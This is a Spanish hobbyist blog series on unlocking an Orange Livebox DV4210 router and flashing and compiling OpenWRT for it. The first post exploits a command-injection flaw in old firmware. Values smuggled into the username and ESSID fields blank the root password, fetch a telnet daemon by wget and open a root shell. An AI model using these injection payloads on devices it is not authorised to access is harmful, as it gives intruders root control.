Nov
27
2009
26

OpenWRT en Inventel Livebox DV4210 (Parte 3/3) – Compilación



GRANDISIMA NOTICIA

Imprescindible visitar la pagina de danitool. Tiene nueva informacion de como poder utilizar la eth1 y muchisimos cambios mas.

Este HOWTO como el anterior estan basados en la pagina web de danitool. No olvides visitar su pagina web.


Para compilar nuestro propio OpenWRT vamos a utilizar como sistema Debian/Ubuntu o similares, y debemos instalar svn gcc g++ binutils patch make automake gettext pkg-config unzip bzip2 flex bison libz-dev quilt gawk flex libncurses-dev con el siguiente comando como root:


apt-get install subversion gcc g++ binutils patch make automake gettext pkg-config unzip bzip2 flex bison libz-dev quilt gawk flex build-essential libncurses5-dev

Crea un directorio «kamikaze» en algun lugar del disco y ejecuta lo siguiente:


svn -r r18454 co svn://svn.openwrt.org/openwrt/trunk/
svn co svn://svn.openwrt.org/openwrt/packages/
mv packages trunk/feeds
cd trunk
make packages/symlinks

Bajate este archivo, descomprimelo y copia el patch del kernel de Ruff 046-cramfs_endianness.patch ./trunk/target/linux/brcm63xx/patches-2.6.30 en para habilitar cramfs.

Ahora vamos a configurar nuestro OpenWRT, para ello tecleamos:


make menuconfig

Despues, busca por los menus y dejalo como lo siguiente, tambien puedes añadir aplicaciones si lo deseas:

   ┌────────────────────────── Target System ───────────────────────────┐
   │  Use the arrow keys to navigate this window or press the hotkey of │
   │  the item you wish to select followed by the <SPACE BAR>. Press    │
   │  <?> for additional information about this option.                 │
   │ ┌───────────────────^(-)─────────────────────────────────────────┐ │
   │ │               ( ) Atheros AR231x/AR5312                        │ │
   │ │               ( ) Atheros AR71xx/AR7240/AR913x                 │ │
   │ │               ( ) Atmel AVR32                                  │ │
   │ │               (X) Broadcom BCM63xx                             │ │
   │ │               ( ) Broadcom BCM947xx/953xx                      │ │
   │ │               ( ) Broadcom BCM947xx/953xx [2.4]                │ │
   │ └───────────────────v(+)─────────────────────────────────────────┘ │
   ├────────────────────────────────────────────────────────────────────┤
   │                       <Select>    < Help >                         │
   └────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────── Target Images ──────────────────────────┐
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ [ ] ramdisk (NEW)                                                  │ │
│ │ [ ] jffs2                                                          │ │
│ │ [*] squashfs (NEW)                                                 │ │
│ │ [*] tgz                                                            │ │
│ │ [ ] cpiogz (NEW)                                                   │ │
│ │ [ ] ext2 (NEW)                                                     │ │
│ └─v(+)───────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────┤
│                      <Select>    < Exit >    < Help >                  │
└────────────────────────────────────────────────────────────────────────┘

┌───────────────────────────────── Other modules ────────────────────────────┐
│ ┌─^(-)───────────────────────────────────────────────────────────────────┐ │
│ │ < > kmod-ledtrig-netdev.............................. LED NETDEV Trigge│ │
│ │ < > kmod-mmc........................................ MMC/SD Card Suppor│ │
│ │ < > kmod-mmc-over-gpio.................... MMC/SD card over GPIO suppor│ │
│ │ < > kmod-pcmcia-core............................. PCMCIA/CardBus suppor│ │
│ │ < > kmod-pcspkr...................................... PC speaker suppor│ │
│ │ < > kmod-softdog............................... Software watchdog drive│ │
│ │ < > kmod-switch.......................................... Switch driver│ │
│ │ < > kmod-textsearch.............Textsearch support is selected if neede│ │
│ └────────────────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────────┤
│                   <Select>    < Exit >    < Help >                         │
└────────────────────────────────────────────────────────────────────────────┘

┌───────────────────────────── USB Support ──────────────────────────────┐
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ <*> kmod-usb-core................................... Support for US│ │
│ │ < >   kmod-usb-acm................ Support for modems/isdn controll│ │
│ │ < >   kmod-usb-atm......................... Support for ATM on USB │ │
│ │ <*>   kmod-usb-audio.................... Support for USB audio devi│ │
│ │ < >   kmod-usb-cm109......................... Support for CM109 dev│ │
│ │ < >   kmod-usb-hid................ Support for USB Human Input Devi│ │
│ │ < >   kmod-usb-net...... Kernel modules for USB-to-Ethernet convert│ │
│ │ <*>   kmod-usb-ohci...................... Support for OHCI controll│ │
│ │ < >   kmod-usb-phidget............................. USB Phidget Dri│ │
│ │ < >   kmod-usb-printer........................... Support for print│ │
│ │ < >   kmod-usb-serial............ Support for USB-to-Serial convert│ │
│ │ < >   kmod-usb-storage............................ USB Storage supp│ │
│ │ < >   kmod-usb-uhci...................... Support for UHCI controll│ │
│ │ < >   kmod-usb-video.................... Support for USB video devi│ │
│ │ < >   kmod-usb-yealink......................... USB Yealink VOIP ph│ │
│ │ < >   kmod-usb2.......................... Support for USB2 controll│ │
│ └────────────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────┤
│                    <Select>    < Exit >    < Help >                    │
└────────────────────────────────────────────────────────────────────────┘

Ahora sale y guarda la configuracion y escribe lo siguiente:


make kernel_menuconfig

Y configura las siguientes ventanas como estan.

┌────────────────────────────── CPU support ───────────────────────────────┐
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │    [ ] support 6338 CPU                                              │ │
│ │    [ ] support 6345 CPU                                              │ │
│ │    [*] support 6348 CPU                                              │ │
│ │    [ ] support 6358 CPU                                              │ │
│ │                                                                      │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
├──────────────────────────────────────────────────────────────────────────┤
│                     <Select>    < Exit >    < Help >                     │
└──────────────────────────────────────────────────────────────────────────┘

  ┌────────────────────────── Board support ───────────────────────────┐
  │ ┌────────────────────────────────────────────────────────────────┐ │
  │ │               ( ) Generic Broadcom 963xx boards                │ │
  │ │               (X) Inventel Livebox(es) boards                  │ │
  │ │                                                                │ │
  │ └────────────────────────────────────────────────────────────────┘ │
  ├────────────────────────────────────────────────────────────────────┤
  │                       <Select>      < Help >                       │
  └────────────────────────────────────────────────────────────────────┘

┌──────────────────── Memory Technology Device (MTD) support ────────────────┐
│ ┌────────────────────────────────────────────────────────────────────────┐ │
│ │    --- Memory Technology Device (MTD) support                          │ │
│ │    [ ]   Debugging                                                     │ │
│ │    <*>   MTD concatenating support                                     │ │
│ │    [*]   MTD partitioning support                                      │ │
│ │    < >   MTD tests support                                             │ │
│ │    [*]   Automatically set 'rootfs' partition to be root filesystem    │ │
│ │    [*]   Automatically split 'rootfs' partition for squashfs           │ │
│ │    <*>   RedBoot partition table parsing                               │ │
│ │    (-1)    Location of RedBoot partition table                         │ │
│ │    [*]     Include unallocated flash regions                           │ │
│ │    [*]     Force read-only for RedBoot system images                   │ │
│ │    [*]   Command line partition table parsing                          │ │
│ │    < >   TI AR7 partitioning support                                   │ │
│ │          *** User Modules And Translation Layers ***                   │ │
│ │    <*>   Direct char device access to MTD devices                      │ │
│ │    -*-   Common interface to block layer for MTD 'translation layers   │ │
│ │    <*>   Caching block device access to MTD devices                    │ │
│ │    < >   FTL (Flash Translation Layer) support                         │ │
│ │    < >   NFTL (NAND Flash Translation Layer) support                   │ │
│ │    < >   INFTL (Inverse NAND Flash Translation Layer) support          │ │
│ │    < >   Resident Flash Disk (Flash Translation Layer) support         │ │
│ │    < >   NAND SSFDC (SmartMedia) read only translation layer           │ │
│ │    < >   Log panic/oops to an MTD buffer                               │ │
│ │          RAM/ROM/Flash chip drivers  --->                              │ │
│ │          Mapping drivers for chip access  --->                         │ │
│ │          Self-contained MTD device drivers  --->                       │ │
│ │    < >   NAND Device Support  --->                                     │ │
│ │    < >   OneNAND Device Support  --->                                  │ │
│ │          LPDDR flash memory drivers  --->                              │ │
│ │          UBI - Unsorted block images  --->                             │ │
│ └────────────────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────────┤
│                        <Select>    < Exit >    < Help >                    │
└────────────────────────────────────────────────────────────────────────────┘

  ┌────────────────────── RAM/ROM/Flash chip drivers ───────────────────────┐
  │ ┌─────────────────────────────────────────────────────────────────────┐ │
  │ │    <*> Detect flash chips by Common Flash Interface (CFI) probe     │ │
  │ │    <*> Detect non-CFI AMD/JEDEC-compatible flash chips              │ │
  │ │    [*] Flash chip driver advanced configuration options             │ │
  │ │          Flash cmd/query data swapping (NO)  --->                   │ │
  │ │    [*]   Specific CFI Flash geometry selection                      │ │
  │ │    [*]     Support  8-bit buswidth                                  │ │
  │ │    [*]     Support 16-bit buswidth                                  │ │
  │ │    [ ]     Support 32-bit buswidth                                  │ │
  │ │    [ ]     Support 64-bit buswidth                                  │ │
  │ │    [ ]     Support 128-bit buswidth                                 │ │
  │ │    [ ]     Support 256-bit buswidth                                 │ │
  │ │    [*]     Support 1-chip flash interleave                          │ │
  │ │    [ ]     Support 2-chip flash interleave                          │ │
  │ │    [ ]     Support 4-chip flash interleave                          │ │
  │ │    [ ]     Support 8-chip flash interleave                          │ │
  │ │    [ ]   Protection Registers aka one-time programmable (OTP) bits  │ │
  │ │    < > Support for Intel/Sharp flash chips                          │ │
  │ │    <*> Support for AMD/Fujitsu/Spansion flash chips                 │ │
  │ │    < > Support for ST (Advanced Architecture) flash chips           │ │
  │ │    < > Support for RAM chips in bus mapping                         │ │
  │ │    < > Support for ROM chips in bus mapping                         │ │
  │ │    < > Support for absent chips in bus mapping                      │ │
  │ └─────────────────────────────────────────────────────────────────────┘ │
  ├─────────────────────────────────────────────────────────────────────────┤
  │                    <Select>    < Exit >    < Help >                     │
  └─────────────────────────────────────────────────────────────────────────┘

LO SIGUIENTE ES IMPORTANTE:

┌────────────────────── Mapping drivers for chip access ───────────────────┐
│ ┌──────────────────────────────────────────────────────────────────────┐ │
│ │    [*] Support non-linear mappings of flash chips                    │ │
│ │    <*> Flash device in physical memory map                           │ │
│ │    [*]   Physmap compat support                                      │ │
│ │    (0x1e400000) Physical start address of flash mapping              │ │
│ │    (0x00800000) Physical length of flash mapping                     │ │
│ │    (2)     Bank width in octets (NEW)                                │ │
│ │    < > BCM963xx Flash device                                         │ │
│ │    < > PCI MTD driver                                                │ │
│ │    < > NOR flash on Intel Vermilion Range Expansion Bus CS0          │ │
│ │    < > Map driver for platform device RAM (mtd-ram)                  │ │
│ └──────────────────────────────────────────────────────────────────────┘ │
├──────────────────────────────────────────────────────────────────────────┤
│                        <Select>    < Exit >    < Help >                  │
└──────────────────────────────────────────────────────────────────────────┘

┌───────────────────────────────── USB support ─────────────────────────────┐
│ ┌───────────────────────────────────────────────────────────────────────┐ │
│ │    --- USB support                                                    │ │
│ │    <*>   Support for Host-side USB                                    │ │
│ │    [ ]     USB verbose debug messages                                 │ │
│ │    [ ]     USB announce new devices                                   │ │
│ │            *** Miscellaneous USB options ***                          │ │
│ │    [*]     USB device filesystem                                      │ │
│ │    [ ]     USB device class-devices (DEPRECATED)                      │ │
│ │    [ ]     Dynamic USB minor allocation                               │ │
│ │    [ ]     Rely on OTG Targeted Peripherals List                      │ │
│ │    [ ]     Disable external hubs                                      │ │
│ │    < >     USB Monitor                                                │ │
│ │    < >     Enable Wireless USB extensions (EXPERIMENTAL)              │ │
│ │    < >     Support WUSB Cable Based Association (CBA)                 │ │
│ │            *** USB Host Controller Drivers ***                        │ │
│ │    < >     Cypress C67x00 HCD support                                 │ │
│ │    < >     EHCI HCD (USB 2.0) support (NEW)                           │ │
│ │    < >     OXU210HP HCD support                                       │ │
│ │    < >     ISP116X HCD support                                        │ │
│ │    < >     ISP 1760 HCD support                                       │ │
│ │    <*>     OHCI HCD support                                           │ │
│ │    [ ]       OHCI support for Broadcom SSB OHCI core                  │ │
│ │    < >     UHCI HCD (most Intel and VIA) support (NEW)                │ │
│ │    < >     SL811HS HCD support                                        │ │
│ │    < >     R8A66597 HCD support                                       │ │
│ └────v(+)───────────────────────────────────────────────────────────────┘ │
├───────────────────────────────────────────────────────────────────────────┤
│                        <Select>    < Exit >    < Help >                   │
└───────────────────────────────────────────────────────────────────────────┘

┌───────────────────── Default kernel command string ─────────────────────────────────────┐
│  Please enter a string value. Use the <TAB> key to move from the input                  │
│  field to the buttons below it.                                                         │
│ ┌─────────────────────────────────────────────────────────────────────────────────────┐ │
│ │root=/dev/mtdblock1 rootfstype=cramfs,squashfs init=/etc/preinit console=ttyS0,115200│ │
│ └─────────────────────────────────────────────────────────────────────────────────────┘ │
│                                                                                         │
├─────────────────────────────────────────────────────────────────────────────────────────┤
│                         <  Ok  >      < Help >                                          │
└─────────────────────────────────────────────────────────────────────────────────────────┘

Ahora sale y guarda la configuracion y compilalo con el siguiente comando:


make V=99

Una vez acabada la compilacion (que tardara bastante ya que tiene que bajar archivos gordos y compilarlos…), copia el resto de ficheros que hemos bajado antes (mkcramfs, etccramfs y network) al directorio «kamikaze». Edita el archivo network con tus preferencias de red y da permisos de ejecucion a mkcramfs, a etccramfs y a kamk.sh con:

chmod +x mkcramfs
chmod +x etccramfs
chmod +x kamk.sh

Ejecuta el siguiente comando:


./kamk.sh

Y en unos momentos ya tenemos nuestro archivo openwrt.cramfs listo para poner en el TFTP y cargarlo nuevamente tal y como se ha explicado en el articulo anterior a este.

Share
Written by Javier Rodriguez in: Linux,Redes | Etiquetas: , , , ,
Nov
26
2009
2

OpenWRT en Inventel Livebox DV4210 (Parte 2/3) – Instalación


ATENCIÓN: Los siguientes pasos si no se realizan correctamente podrían dañar por completo tu router (y aun esta por determinar, que aunque lo hagas bien pueda fallar). Úsalo solo como proposito experimental y bajo tu propia responsabilidad. Una cosa que debemos tener clara es que de momento este router no se puede volver a utilizar como router ADSL a no ser que sepas mucho lo que haces.

Me he guiado con el HOW-TO de danitool para instalar OpenWRT en el Livebox y me ha funcionado con autentico éxito. Esta entrada es una traducción con alguna modificación (de experiencia propia) de su post original.

Este HOWTO es una continuacion de la entrada anterior y deberias leerla para aclarar la configuración de red que estamos utilizando.


IP Router: 192.168.1.1
IP Ordenador: 192.168.1.2


Lo primero que necesitamos es tener acceso por Telnet al Livebox. De esto ya hemos hablado en este blog en la entrada OpenWRT en Inventel Livebox DV4210 (Parte 1/3) – Liberación. Tambien necesitamos acceso sobre el puerto serie al Livebox, el cual vamos a explicar aqui como realizarlo. Para avanzar un poco aclarar que es un cable especial (la mayoria de los routers tienen un puerto serie y OpenWRT se carga mendiante comandos escritos por el puerto serie). Yo he usado un MAX3232 (que se puede encontrar en cualquier tienda de electronica por no mucho dinero) aunque se pueden utilizar cables de conexión al telefono movil que tengan un adaptador de USB a serie RS232. Lo mas importante es identificar las patillas TX, RX y GND de ese cable. El software para controlar el router por el puerto serie puede ser el CuteCom de Linux o el Hyperterminal de Windows.

Este es el esquema de nuestro objetivo: SoC BCM6348

SoC BCM 6348

Para conectar este cable tenemos varias opciones.

  • Conseguir un conector MMJ tipo DEC para conectarlo al conector blanco.
  • Desmontar el router y soldar directamente en placa en el conector blanco.

MMJ tipo DEC

Entre medias debemos poner el MAX3232 para adaptar las señales del puerto serie del Router (TTL) a señales que entienda el ordenador (RS232). En la imagen se puede observar el conector blanco con una numeración. Cada patilla corresponde a una cosa distinta.

  1. RX
  2. TX
  3. Boton 2 (no utilizado en este tutorial)
  4. Boton 1 (no utilizado en este tutorial)
  5. +5v
  6. GND

Un esquema del MAX3232 puede ser el siguiente: (hay muchos por internet)

Esquema MAX3232

Los condensadores utilizados son de aproximadamente 1uF y si queremos coger los 5v que el router nos proporciona por el puerto serie, debemos poner dos diodos (o tres) en serie con el catodo apuntando hacia la patilla 16 del MAX3232 para que caiga la tensión a una mas aproximada a 3,3v.

El patillaje de salida es el siguente:

  • EXT21: Alimentación del circuito a 3,3v.
  • EXT13: GND
  • EXT22: Al RX del router.
  • EXT23: Al TX del router.
  • X1: Conector DB9 a enchufar al RS232 del ordenador.
  • X1 – Patilla 2: RX
  • X1 – Patilla 3: TX
  • X1 – Patilla 5: GND

Primero accederemos por Telnet al router para cambiar el cargador Redboot por otro que dos deje parar e introducirnos en la linea de comandos cuando el Livebox arranca.

Este es el Reboot que flahsearemos a la «particion» mtd0:

Descargar Redboot.20040719 y utilidades

Dentro de este archivo puedes encontrar el archivo redboot.20040719 que es para cambiar el cargador a parte de mas archivos que posteriormente nos serviran para compilarnos un propio OpenWRT. El archivo redboot.20040719 lo debemos colocar en el raiz de nuestro servidor FTP para posteriormente descargarlo al Livebox.

Chequea que el archivo reboot.20040719 no este corrupto comparandolo con el de la Web de Andyp o bajandolo directamente desde su pagina Web pulsando aqui. Es muy importante que este archivo este sano ya que sino te podrias cargar el router y hacer un bonito pisapapeles con el. Tengo entendido que hay un metodo para volver a recuperarlo, que es utilizando una conexion JTAG con el ordenador y volver a flashear, pero esto no lo vamos a tratar aqui ya que de momento no se ha dado el caso.

Una vez que estamos dentro del router via Telnet tecleamos los siguientes comandos y cruzamos los dedos, si haces algo mal ROMPERAS TU ROUTER!!!.

# cd /tmp
# wget ftp://192.168.1.2/redboot.20040719

En este punto asegurate que el archivo se ha descargado correctamente a tu router.

# fcp -v redboot.20040719 /dev/mtd0
Erasing blocks: 3/3 (100%)
Writing data: 192k/192k (100%)
Verifying data: 192k/192k (100%)
#
# reboot
Sending SIGTERM to adsld and pppd.

Otra cosa que debemos hacer es instalar un servidor TFTP (distinto al servidor FTP que ya tenemos instalado) en nuestro PC. Busca información por internet al respecto, hay muchos tanto en Linux como en Windows y todos con sus respetivas configuraciones.

Dentro del directorio del TFTP debemos poner la imagen openwrt.cramfs a cargar a nuestro router. Este archivo lo podemos encontrar ya compilado y preparado para su uso en la web de danitool o bajandolo directamente desde aqui.

Una vez que has flasheado tu router con el nuevo Redboot, conecta el router al puerto serie, abre el Hyperterminal o el Cutecom (115200, 8N1) y reinicialo (apaga y enciende de nuevo) y presiona Ctrl+C cuando el Livebox esta arrancando. Entonces deberias ver la linea de comandos de Redboot. Revisa la configuracion.


fconfig -l -n

Ahora vamos a cambiar la IP del cargador de arranque RedBoot y le vamos a decir de que servidor TFTP tiene que coger las imagenes de firmware.


fconfig bootp_my_ip 192.168.1.1
fconfig bootp_server_ip 192.168.1.2

Apagamos el router, lo volvemos a encender, volvemos a pulsar Ctrl+C para entrar en el Redboot y si queremos hacemos un ping a la nueva IP del router (192.168.1.1) para comprobar que tenemos conectividad con el.

Ahora vamos a cargar la imagen ya precompilada de DD-WRT (En el siguiente post explicare como podemos compilar nuestro OpenWRT). Para esto debemos asegurarnos que el archivo que nos hemos bajado antes, lo hemos descomprimido y colocar el archivo openwrt.cramfs en el directorio raiz del servidor TFTP y escribir lo siguiente:

Primero comprobamos la lista de particiones


RedBoot> fis list
Name FLASH addr Mem addr Length Entry point
RedBoot 0xBE400000 0xBE400000 0x00030000 0x00000000
user_fs 0xBE430000 0xBE430000 0x00720000 0x80545FB0
jffs_system 0xBEB50000 0xBEB50000 0x000A0000 0x80545FB0
FIS directory 0xBEBF0000 0xBEBF0000 0x0000F000 0x00000000
RedBoot config 0xBEBFF000 0xBEBFF000 0x00001000 0x00000000

Como puedes observar, tenemos una particion jffs_system con direccion de flash 0xBEB50000 y una longitud 0x000A0000. Entonces borraremos la particion jffs_system.


fis erase -f 0xBEB50000 -l 0x000A0000

Cargamos el firmware nuevo al router, es decir, el archivo openwrt.cramfs.


load -r -v -b 0x80800000 openwrt.cramfs

Y flasheamos el nuevo firmware.


fis create -b 0x80800000 user_fs

Tardara un poco, pero una vez cargado reseteamos el router escribiendo «reset» en la linea de comandos de Redboot y deberiamos ver un arranque correcto del router del estilo a esto:


Linux version 2.6.30.9 (dani@NEXUS) (collect2: ld returned 1 exit status) #17 Thu Nov 19 21:18:34 CET 2009
Detected Broadcom 0x6348 CPU revision b0
CPU frequency is 256000000 Hz
16MB of RAM installed
registering 37 GPIOs
console [early0] enabled
CPU revision is: 00029107 (Broadcom BCM6348)
board_livebox: board name: Livebox
Determined physical RAM map:
memory: 01000000 @ 00000000 (usable)
Initrd not found or empty - disabling initrd
Zone PFN ranges:
Normal 0x00000000 -> 0x00001000
Movable zone start PFN for each node
early_node_map[1] active PFN ranges
0: 0x00000000 -> 0x00001000
On node 0 totalpages: 4096
free_area_init_node: node 0, pgdat 80283910, node_mem_map 802e7000
Normal zone: 32 pages used for memmap
Normal zone: 0 pages reserved
Normal zone: 4064 pages, LIFO batch:0
Built 1 zonelists in Zone order, mobility grouping off. Total pages: 4064
Kernel command line: root=/dev/mtdblock1 rootfstype=cramfs,squashfs init=/etc/preinit console=ttyS0,115200
Primary instruction cache 16kB, VIPT, 2-way, linesize 16 bytes.
Primary data cache 8kB, 2-way, VIPT, no aliases, linesize 16 bytes
NR_IRQS:128
PID hash table entries: 64 (order: 6, 256 bytes)
Dentry cache hash table entries: 2048 (order: 1, 8192 bytes)
Inode-cache hash table entries: 1024 (order: 0, 4096 bytes)
Memory: 13268k/16384k available (2088k kernel code, 3116k reserved, 428k data, 124k init, 0k highmem)
Calibrating delay loop... 252.41 BogoMIPS (lpj=504832)
Mount-cache hash table entries: 512
net_namespace: 332 bytes
NET: Registered protocol family 16
registering PCI controller with io_map_base unset
bio: create slab at 0
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
pci 0000:00:01.0: reg 10 32bit mmio: [0x000000-0x001fff]
Switched to high resolution mode on CPU 0
PCI: Enabling device 0000:00:01.0 (0000 -> 0002)
PCI: Setting latency timer of device 0000:00:01.0 to 64
ssb: Sonics Silicon Backplane found on PCI device 0000:00:01.0
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 512 (order: 0, 4096 bytes)
TCP bind hash table entries: 512 (order: -1, 2048 bytes)
TCP: Hash tables configured (established 512 bind 512)
TCP reno registered
NET: Registered protocol family 1
audit: initializing netlink socket (disabled)
type=2000 audit(0.650:1): initialized
squashfs: version 4.0 (2009/01/31) Phillip Lougher
Registering mini_fo version $Id$
JFFS2 version 2.2. (NAND) (SUMMARY) © 2001-2006 Red Hat, Inc.
msgmni has been set to 25
alg: No test for stdrng (krng)
io scheduler noop registered
io scheduler deadline registered (default)
bcm63xx_uart.0: ttyS0 at MMIO 0xfffe0300 (irq = 10) is a bcm63xx_uart
console handover: boot [early0] -> real [ttyS0]
bcm63xx_enet MII bus: probed
physmap platform flash device: 00800000 at 1e400000
physmap-flash.0: Found 1 x16 devices at 0x0 in 16-bit bank
Amd/Fujitsu Extended Query Table at 0x0040
number of CFI chips: 1
cfi_cmdset_0002: Disabling erase-suspend-program due to code brokenness.
Searching for RedBoot partition table in physmap-flash.0 at offset 0x7f0000
5 RedBoot partitions found on MTD device physmap-flash.0
Creating 5 MTD partitions on "physmap-flash.0":
0x000000000000-0x000000030000 : "RedBoot"
0x000000030000-0x000000750000 : "user_fs"
0x000000750000-0x0000007f0000 : "jffs_system"
0x0000007f0000-0x0000007ff000 : "FIS directory"
0x0000007ff000-0x000000800000 : "RedBoot config"
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
bcm63xx_ohci bcm63xx_ohci.0: BCM63XX integrated OHCI controller
bcm63xx_ohci bcm63xx_ohci.0: new USB bus registered, assigned bus number 1
bcm63xx_ohci bcm63xx_ohci.0: irq 20, io mem 0xfffe1b00
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 2 ports detected
bcm63xx_wdt started, timer margin: 30 sec
TCP westwood registered
NET: Registered protocol family 17
VFS: Mounted root (cramfs filesystem) readonly on device 31:1.
Freeing unused kernel memory: 124k freed
Please be patient, while OpenWrt loads ...
mini_fo: using base directory: /jffs/etc-ro
mini_fo: using storage directory: /jffs/etc
bcm63xx_enet bcm63xx_enet.0: attached PHY at address 1 [Broadcom BCM63XX (1)]
device eth0 entered promiscuous mode
eth0: link UP - 100/full - flow control off
br-lan: port 1(eth0) entering forwarding state
eth1: link forced UP - 100/full - flow control off/off
cfg80211: Calling CRDA to update world regulatory domain
SCSI subsystem initialized
b43-phy0: Broadcom 4318 WLAN found (core revision 9)
phy0: Selected rate control algorithm 'minstrel'
Registered led device: b43-phy0::tx
Registered led device: b43-phy0::rx
Registered led device: b43-phy0::radio
Broadcom 43xx driver loaded [ Features: PL, Firmware-ID: FW13 ]
Driver 'sd' needs updating - please use bus_type methods
usbcore: registered new interface driver snd-usb-audio
Initializing USB Mass Storage driver...
usbcore: registered new interface driver usb-storage
USB Mass Storage support registered.
b43 ssb0:0: firmware: requesting b43/ucode5.fw
b43 ssb0:0: firmware: requesting b43/pcm5.fw
b43 ssb0:0: firmware: requesting b43/b0g0initvals5.fw
b43 ssb0:0: firmware: requesting b43/b0g0bsinitvals5.fw
b43-phy0: Loading firmware version 410.2160 (2007-05-26 15:32:10)
BusyBox v1.14.4 (2009-11-17 12:55:07 CET) built-in shell (ash)
Enter 'help' for a
list of built-in commands.

_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
KAMIKAZE (bleeding edge, r18440) ------------------
* 10 oz Vodka Shake well with ice and strain
* 10 oz Triple sec mixture into 10 shot glasses.
* 10 oz lime juice Salute!
---------------------------------------------------
root@OpenWrt:/#

Si no te salen las ultimas lineas da unos cuantos intros para acceder a la consola.

Con estos pasos ya esta OpenWRT instalado, pero sin muchas de las aplicaciones, en el siguiente post, como ya os he dicho, compilaremos nuestro propio OpenWRT con las aplicaciones que deseemos y demas, pero lograr lo que ha conseguido danitool ya es un gran avance para este router. Quizas dentro de poco ya tengamos imagenes creadas por los desarrolladores de OpenWRT para que podamos cargar directamente el firmware al router sin necesidad de tanto jaleo.

Tan solo dar las gracias a danitool y no os olvideis de visitar su blog, ya que este Howto ha sido basado en el suyo.

danitool: http://my.opera.com/danitool

Share
Written by Javier Rodriguez in: Linux,Redes | Etiquetas: , , , ,
Nov
24
2009
15

OpenWRT en Inventel Livebox DV4210 (Parte 1/3) – Liberación


1. EL LIVEBOX

Como ya sabreis, Orange distribuye el router Livebox bloqueado para que no se pueda usar con otros proveedores de internet. El bloqueo es a 2 niveles.

  1. Solo acepta conexiones PPPoE o PPPoA (las que ofrece Orange).
  2. Solo permite nombres de usuario del tipo xxx@orangeadsl, xxx@wanadooadsl y similares. Por tanto, no podremos configurarlo para usarlo con otro ISP.

Al desbloquearlo conseguimos 2 cosas:

  1. Que nos permitirá seleccionar cualquier tipo de conexión: PPPoA, PPPoE, DHCP + NAT, RFC1483, bridge.
  2. Un aumento del rendimiento global en las velocidades de subida y bajada.

2. QUE NECESITAREMOS

Para desbloquear el router vamos a necesitar los siguientes elementos:

  1. Estar familiarizado en el manejo del router, asignación de IPs privadas, etc…
  2. Un PC.
  3. Un cable USB.
  4. El CD de configuración del Livebox. Si no lo tienes, puedes bajarlo desde aquí.
  5. Un servidor FTP que debemos instalar en nuestro PC. En nuestro caso, usamos el Serv-U, que es un servidor FTP muy sencillo de instalar y configurar.
  6. Un servidor de telnet, utelnetd.
  7. Una utilidad para convertir el código que nos devuelve el router (solo para liberarlo).
  8. Unos 15 minutos de tiempo.

3. ¿EN QUE SE BASA EL DESBLOQUEO?

El desbloqueo se basa en una vulnerabilidad de los Firmwares antiguos que nos permite introducir comandos desde la configuración del ESSID. Lo que haremos es instalar en el router un servidor de telnet que nos permitirá ejecutar comandos en el router y que nos proporcione el código de desbloqueo del router. Una vez desbloqueado, tendremos acceso a todas las opciones del router sin ningún tipo de limitación impuesta por Orange.

4. EL DOWNGRADE

La vulnerabilidad de la inyección de comandos desde la ventana ESSID se corrigió en los últimos Firmwares. Por tanto, lo primero que debemos hacer es hacer un downgrade del firmware del router, es decir, pasar a una versión anterior que tenga la vulnerabilidad. Para ello vamos a bajarnos el Firmware adecuado desde aquí y lo guardamos en nuestro PC.

Antes de desactualizar el Firmware vamos a asignar una IP fija a nuestro PC. En nuestro caso será 192.168.1.2 y la del router será 192.168.1.1.

Conectamos el Livebox y el PC usando el cable USB. Instalamos el software de configuración que viene en el CD (que puedes encontrar en este mismo post en el punto 2). Una vez finalizado, vemos que tenemos una utilidad que se llama “configuración de fábrica USB”.

Una vez pulsado, nos aparece una ventana donde hemos de seleccionar el Firmware que vamos a instalar en el router.

A partir de aquí el proceso se completa como una actualización normal de firmware.

Una vez completado el proceso, tendremos el Firmware vulnerable listo.

5. EL SERVIDOR DE TELNET

El Utelnetd lo renombraremos por comodidad a “u”. Lo podemos descargar desde su página o bien lo puedes descargar ya renombrado a “u” desde aquí.

Guardamos el fichero en un directorio.

6. EL SERVIDOR FTP

Ahora vamos a instalar el Serv-U en nuestro PC. La instalación no tiene ningún misterio y solo debemos estar atentos en que debemos permitir el acceso anónimo y poner como raíz del FTP el directorio donde hemos guardado el fichero “u”.

7. INYECCIÓN DE COMANDOS

Para inyectar los comandos y evitar errores os recomiendo que hagais un “copiar y pegar” de los comandos.

Entramos en el router (admin/admin) y vamos a la pantalla de usuario conexión y en el nombre de usuario ponemos:


;echo root::0:0:root:/root:/bin/sh >/etc/passwd

Con ello le quitamos la contraseña de root al router.

Luego en Configuración->Avanzada->Inalámbrico, cambia el ESSID a:


;cd /etc;wget ftp://192.168.1.2/u

Pulsamos en “Enviar” y luego en “Aplicar”. Pasado unos instantes, el router se reinicia solo.

Con ello lo que hacemos es decirle al router que se conecte por FTP a nuestro PC y se descargue el fichero “u”. Si tu PC usa otra IP solo tienes que sustituir 192.168.1.2 por la IP privada de tu PC.

Ahora, volvemos a cambiar el ESSID y ponemos:


;chmod 777 /etc/u

Con esta acción damos permisos de ejecución al fichero “u”.

Por último, volvemos a cambiar el ESSID a:


;/etc/u -p 23 -l /bin/sh -d

Una vez más pulsamos en “Enviar” y luego en “Aplicar”. El router se volverá a reiniciar.

8. CONECTAR POR TELNET

Si hemos realizado todos los pasos de manera correcta, podremos conectar via Telnet con nuestro router. Abrimos una ventana de comandos y tecleamos “telnet 192.168.1.1″ y nos aparecerá el Busybox.

Ahora debemos ejecutar lo siguiente en el telnet:

redboot_fconfig_get –parameter h235_key /dev/mtd4

